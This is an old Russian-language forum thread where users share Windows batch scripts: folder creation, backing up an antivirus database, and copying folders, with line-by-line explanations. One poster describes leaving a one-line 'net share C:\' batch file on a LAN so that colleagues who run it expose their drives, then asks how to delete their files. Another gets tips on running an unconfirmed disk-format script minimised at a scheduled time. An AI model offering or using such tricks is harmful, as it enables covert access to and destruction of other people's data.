( Вход | Регистрация | Поиск )

Батники, bat навсегда
Дата обновления: 10.02.2015 - 06:06, перейти к новому сообщению

·ENOTik_18654
Группа: Пользователи

Сообщений: 241
Предлагаю открыть тему создания разичный bat-файлов aka быстрого выполнения рутинных действий на компьютере, таких как содание папок с заданным именеи и резервное копирование туда нужой информации, сканирование папок с музыкой и создание плейлистов.

CODE
rem Создание папки с заданным именем
set /p FolderName=Введите имя папки:
echo %FolderName%
pause
md %FolderName%
echo Everything Done!


А это пример моего файла, которым я пользуюсь для создания резервных копий базы данных антивируса:

CODE
@echo off
title Резервное копирование

set archdir=E:\Distrib\BACKUP\Avast
set backupLST=E:\Distrib\Создание_backup

echo Идет остановка антивируса
net stop "avast! Antivirus"
net stop "aswUpdSv"
net stop "avast! Mail Scanner"
net stop "avast! Web Scanner"
pause

echo Идет архивация антивирусной базы данных программы Avast! Antivirus...

"%PROGRAMFILES%\WinRar\rar" a -ag+DD-MMM-YYYY -ilog:%archdir%\error.log -m5 -dh -t -idc  E:\Distrib\BACKUP\Avast\ @backup.lst

echo ********** >> %archdir%\backup.log
date /t >> %archdir%\backup.log
time /t >> %archdir%\backup.log
echo OK! >> %archdir%\backup.log
pause

net start "avast! Antivirus"
net start "aswUpdSv"
net start "avast! Mail Scanner"
net start "avast! Web Scanner"
rem Запуск иконки в трее
cmd /C "%PROGRAMFILES%\Avast4\ashDisp.exe"
echo Теперь окно можно закрыть :-) ...



Ответов(30 - 39)

·AXUC
Группа: Пользователи

Сообщений: 15
В локальной сети, на своем диске с открытым доступом, я выложил вот такой батник:
Code
net share localka=C:\

Все подряд заходят и тупо по нему щелкают. Естественно у них на диске C:\ открывается доступ. И пока они этого не узнали, я залажу к ним на диск, вижу все файлы, но вот удалить не могу smile.gif . Почему? Может тут надо что-нибудь дописать?



lFallenl

А не подскажите: как к батнику на форматирование диска без подтверждения прикрепить время запуска и запуск в свернутом окне?



·ENOTik_18654
Группа: Пользователи

Сообщений: 241
> А не подскажите: как к батнику на форматирование диска без подтверждения прикрепить время запуска и запуск в свернутом окне?

Время запуска команда: AT

Запуск в свернутом виде: START MIN


·Азамат
Группа: Наши Люди

Сообщений: 422
а как можно сделать скрипт или батник чтоб например он проверял какое то значение если нашел его то кричал я нашел а если нет то процесс шел бы дальше


т.е. на деле как сделать то что делают программы допустим каспер
например каспер стоит и ты хочешь второй раз установить он говорит нельзя я уже установлен
как это сделать?


·ENOTik_18654
Группа: Пользователи

Сообщений: 241
Цитата | Quote
а как можно сделать скрипт или батник чтоб например он проверял какое то значение если нашел его то кричал я нашел а если нет то процесс шел бы дальше


т.е. на деле как сделать то что делают программы допустим каспер
например каспер стоит и ты хочешь второй раз установить он говорит нельзя я уже установлен
как это сделать?


Для этого существуют команды проверки условий IF ... ELSE ... THEN ...


·Expelled
Группа: Пользователи

Сообщений: 147
Цитата | Quote(_Dimas_ @ 29.06.2007 - 13:49)
...
Code

@echo off
rem Копирование данных из онной папки в другую
rem Запуск BAT-File.cmd "Папка источник" "Папка приемник"

rem Удаление источника, если есть
del /F /S /Q %2 >>nul
rd /S /Q %2 >>nul
rem Создаем источник заново
md %2 >>nul
rem Копируем из источника в приемник
xCopy %1 %2 /S /E /C /I /Q /H /R >>nul
echo Копирование завершено
pause

...


А можно более подробно обьяснить что тут происходит? Мне просто нужен батник который копировал бы файлы из одной папки в другую, без удаления в первой. Этот батник положу в загрузку системы, и таким образом при запуске компа каждый раз будет создаваться резервная копия smile.gif



·x-foby
Группа: Наши Люди

Сообщений: 1.264
Цитата | Quote(Expelled @ 20.02.2008 - 0:58)
А можно более подробно обьяснить что тут происходит?


А читать мы не умеем? wink.gif
Code
rem Удаление источника, если есть
del /F /S /Q %2 >>nul
rd /S /Q %2 >>nul
rem Создаем источник заново
md %2 >>nul

убирай, и вперёд)


·Азамат
Группа: Наши Люди

Сообщений: 422
Цитата | Quote(ENOTik_18654 @ 19.02.2008 - 18:39)
Цитата | Quote
а как можно сделать скрипт или батник чтоб например он проверял какое то значение если нашел его то кричал я нашел а если нет то процесс шел бы дальше


т.е. на деле как сделать то что делают программы допустим каспер
например каспер стоит и ты хочешь второй раз установить он говорит нельзя я уже установлен
как это сделать?


Для этого существуют команды проверки условий IF ... ELSE ... THEN ...



а можно пример....?


·Expelled
Группа: Пользователи

Сообщений: 147
Цитата | Quote(walet @ 20.02.2008 - 2:16)
Цитата | Quote(Expelled @ 20.02.2008 - 0:58)
А можно более подробно обьяснить что тут происходит?


А читать мы не умеем? wink.gif
Code
rem Удаление источника, если есть
del /F /S /Q %2 >>nul
rd /S /Q %2 >>nul
rem Создаем источник заново
md %2 >>nul

убирай, и вперёд)



Эххх, не выходит. Оставил только :

Code
@echo off
rem Копирование данных из онной папки в другую
rem Запуск BAT-File.cmd "Папка источник" "Папка приемник"
echo Копирование завершено
pause


В скобках вместо "Папка источник, и приемник" написал свои папки, допустим D:\TEST\ и D:\TEST2\ . И ступор, ничего никуда не копируется. Плюс просит нажать кнопку,а нужно что бы без подтверждения копировалось, мне в фирму на бухгалтерский комп что бы файлы почты копировались unsure.gif

---

Вот пока такое "написал "

Code
copy D:\TEST1\Test.txt D:\TEST2\
pause


Но нужно что бы без подтверждения запускалось, копировалось и само закрывало окно. Такое возможно ?

---

Собсно решил,
Code
copy D:\TEST1\Test.txt D:\TEST2\
exit


---

Самый имхо оптимальный вариант копирования %

Code
@echo off
copy "путь к файлу копирования" "путь куда будет копироваться"
echo Копирование завершено (я бы написал на английском, так как у мну например проблемы с Рус. кодировкой в батниках)
pause



·_Dimas_
Группа: Пользователи

Сообщений: 71
Цитата | Quote
@echo off

запрет вывода запускаемых комманд

Там где строчка начинается с rem это коментарий

Там где строчка заканчивается на >>nul это отменяет вывод действий команды на консоль

Цитата | Quote
del /F /S /Q %2 >>nul

Удаляет все файлы и папки из приемника
Цитата | Quote
rd /S /Q %2 >>nul

Удаляет саму папку приемника
Цитата | Quote
md %2 >>nul

Создает папку приемника
Цитата | Quote
xCopy %1 %2 /S /E /C /I /Q /H /R >>nul

копирует все файлы, папки и подпапки из источника в приемник

Цитата | Quote
echo Копирование завершено

Вывод на консоль сообщения Копирование завершено
Цитата | Quote
pause

Пауза в программе, ждет нажатия любой кнопки

Если хочешь видеть все действия которые выполняет программа, убери все >>nul

Написал ее для копирования свежих баз из локалки подключенной к интернету в локалку не имеющего подключения к интернету.
Если надоедает каждый раз нажимать кнопку по завершении копирования, убери паузу.

Для более подробной информации по какой либо команде, набери
Code
команда /?

например
Code
xCopy /?